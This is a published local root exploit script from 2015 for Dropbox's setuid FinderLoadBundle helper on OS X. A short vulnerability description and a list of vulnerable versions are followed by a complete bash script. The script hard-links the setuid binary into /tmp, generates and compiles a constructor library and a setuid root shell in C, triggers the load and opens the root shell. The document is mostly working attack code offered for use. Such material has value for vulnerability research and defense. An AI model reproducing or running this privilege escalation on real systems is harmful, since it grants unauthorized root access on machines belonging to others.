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Dropbox FinderLoadBundle OS X Local Root Exploit

Posted on 01 October 2015

#!/bin/bash
#
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
# <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# The setuid root FinderLoadBundle that was included in older DropboxHelperTools
# versions for OS X allows loading of dynamically linked shared libraries
# that are residing in the same directory. The directory in which
# FinderLoadBundle is located is owned by root and that prevents placing
# arbitrary files there. But creating a hard link from FinderLoadBundle to
# somewhere in a directory in /tmp circumvents that protection thus making it
# possible to load a shared library containing a payload which creates a root
# shell.
#
# - vulnerable versions: | versions not vulnerable:
# Dropbox 3.3.* for Mac | Dropbox 3.10.* for Mac
# Dropbox 3.1.* for Mac | Dropbox 3.9.* for Mac
# Dropbox 3.0.* for Mac | Dropbox 3.8.* for Mac
# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac
# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac
# Dropbox 2.9.* for Mac | Dropbox 3.5.* for Mac
# Dropbox 2.8.* for Mac | Dropbox 3.4.* for Mac
# Dropbox 2.7.* for Mac | Dropbox 3.2.* for Mac
# Dropbox 2.6.* for Mac | Dropbox 1.5.1-5 for Mac
# Dropbox 2.5.* for Mac | Dropbox 1.4.* for Mac
# Dropbox 2.4.* for Mac | Dropbox 1.3.* for Mac
# Dropbox 2.3.* for Mac |
# Dropbox 2.2.* for Mac |
# Dropbox 2.1.* for Mac |
# Dropbox 1.7.* for Mac |
# Dropbox 1.6.* for Mac |
# Dropbox 1.5.6 for Mac |
#
# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*.
# However, there is no mention of this issue at the Dropbox release notes:
# https://www.dropbox.com/release_notes
#
# It seems that one of the fixes implemented in FinderLoadBundle is a
# check whether the path of the bundle is a root owned directory making it
# impossible to load arbitrary shared libraries as a non-privileged user.
#
# I am not sure how to find the exact version of the FinderLoadBundle executable
# but the included Info.plist contained the following key:
# <key>CFBundleShortVersionString</key>
# This key is no longer present in the plist file of the latest version. So I
# included a basic vulnerable version checker that checks for the presence of
# this key.
#
# - exploit details:
# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features
# used. This exploit relies on Xcode for the shared library + root shell to be
# compiled. After successful exploitation a root shell is left in a directory in
# /tmp so make sure you delete it on your own system when you are done testing.
#
# - example:
# $ ./dropboxfinderloadbundle.sh
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
#
# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3
# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle
# [-] constructing bundle
# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c
# [-] compiling root shell
# [-] executing FinderLoadBundle using root shell payload
# [-] entering root shell
# bash-3.2# id -P
# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh

readonly __progname=$(basename $0)

errx() {
 echo "$__progname: $@" >&2
 exit 1
}

main() {
 local -r tmp=$(head -10 /dev/urandom | md5)
 local -r helpertools="/Library/DropboxHelperTools"
 local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS"
 local -r bundletarget="$bundle/mach_inject_bundle_stub"
 local -r bundlesrc="${bundletarget}.c"
 local -r sh="/tmp/$tmp/boomsh"
 local -r shsrc="${sh}.c"
 local -r cfversion="CFBundleShortVersionString"
 local -r findbin="FinderLoadBundle"

 echo "Dropbox $findbin OS X local root exploit by cenobyte 2015"
 echo

 uname -v | grep -q ^Darwin || 
 errx "this Dropbox exploit only works on OS X"

 [ ! -d "$helpertools" ] && 
 errx "$helpertools does not exist"

 which -s gcc || 
 errx "gcc not found"

 found=0
 for finder in $(ls $helpertools/Dropbox_u*/$findbin); do
 stat -s "$finder" | grep -q "st_mode=0104"
 if [ $? -eq 0 ]; then
 found=1
 break
 fi
 done

 [ $found -ne 1 ] && 
 errx "couldn't find a setuid root $findbin"

 local -r finderdir=$(dirname $finder)
 local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist"

 [ -f "$plist" ] || 
 errx "FinderLoadBundle not vulnerable (cannot open $plist)"

 grep -q "<key>$cfversion</key>" "$plist" || 
 errx "FinderLoadBundle not vulnerable (plist missing $cfversion)"

 echo "[-] creating temporary directory: /tmp/$tmp"
 mkdir /tmp/$tmp || 
 errx "couldn't create /tmp/$tmp"

 echo "[-] linking $finder"
 ln "$finder" "/tmp/$tmp/$findbin" || 
 errx "ln $finder /tmp/$tmp/$findbin failed"

 echo "[-] constructing bundle"
 mkdir -p "$bundle" || 
 errx "cannot create $bundle"

 echo "#include <sys/stat.h>" > "$bundlesrc"
 echo "#include <sys/types.h>" >> "$bundlesrc"
 echo "#include <stdlib.h>" >> "$bundlesrc"
 echo "#include <unistd.h>" >> "$bundlesrc"
 echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc"
 echo "void init(void)" >> "$bundlesrc"
 echo "{" >> "$bundlesrc"
 echo " setuid(0);" >> "$bundlesrc"
 echo " setgid(0);" >> "$bundlesrc"
 echo " chown("$sh", 0, 0);" >> "$bundlesrc"
 echo " chmod("$sh", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc"
 echo "}" >> "$bundlesrc"

 echo "[-] creating $shsrc"
 echo "#include <unistd.h>" > "$shsrc"
 echo "#include <stdio.h>" >> "$shsrc"
 echo "#include <stdlib.h>" >> "$shsrc"
 echo "int" >> "$shsrc"
 echo "main()" >> "$shsrc"
 echo "{" >> "$shsrc"
 echo " setuid(0);" >> "$shsrc"
 echo " setgid(0);" >> "$shsrc"
 echo " system("/bin/bash");" >> "$shsrc"
 echo " return(0);" >> "$shsrc"
 echo "}" >> "$shsrc"

 echo "[-] compiling root shell"
 gcc "$shsrc" -o "$sh" || 
 errx "gcc failed for $shsrc"

 gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || 
 errx "gcc failed for $bundlesrc"

 echo "[-] executing $findbin using root shell payload"
 cd "/tmp/$tmp"
 ./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null
 [ $? -ne 4 ] && 
 errx "exploit failed, $findbin seems not vulnerable"

 [ ! -f "$sh" ] && 
 errx "$sh was not created, exploit failed"

 stat -s "$sh" | grep -q "st_mode=0104" || 
 errx "$sh was not set to setuid root, exploit failed"
 echo "[-] entering root shell"

 "$sh"
}

main "$@"

exit 0

 

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